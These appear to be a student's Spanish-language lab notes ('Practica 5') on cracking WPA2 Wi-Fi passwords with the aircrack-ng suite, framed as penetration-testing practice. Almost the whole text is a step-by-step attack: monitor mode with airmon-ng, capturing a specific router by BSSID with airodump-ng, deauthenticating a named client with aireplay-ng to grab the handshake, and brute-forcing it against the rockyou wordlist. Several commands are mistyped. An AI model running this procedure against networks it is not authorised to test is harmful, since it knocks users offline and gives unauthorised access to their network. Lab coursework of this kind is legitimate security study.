

## Practica 5 - Wifi

Cómo descifrar contraseñas wifi WPA2 con AIRCRACK-NG Pruebas de penetración WIFI

interfaz para ver las redes wifi iwconfig



ver los nombre Iniciarlo sudo airmon-ng start wlan0, detenerlo sudo airmon-ng stop wlan0



copiar a la red que nos queremos meter la información  
comando para guardar toda la información de router

sudo airodump-ng -c 9 -bssid 64:70:02:DC:CA:B9 -w captura wlan0

apareceran los clientes que estan conectados a ese router teniendo al cliente se hara el  
proceso de autenticación no detener la terminal esa ventana abrir una nueva terminar para  
el siguiente comando

sudo aireplay-ng -deauth 1 -a 64:70:02:DC:CA:B9 -c 86:E8:49:5C:7D:F9 wlan0

ver en la parte de arriba WPA handshake: es donde se tendrá toda la información de las  
credenciales

luego se hace el proceso de descifrado

ls

aircrack -ng -w /usr/share/wordlists/rockyou.txt -e Nombre de la red -b WPA handshake  
captura.cap



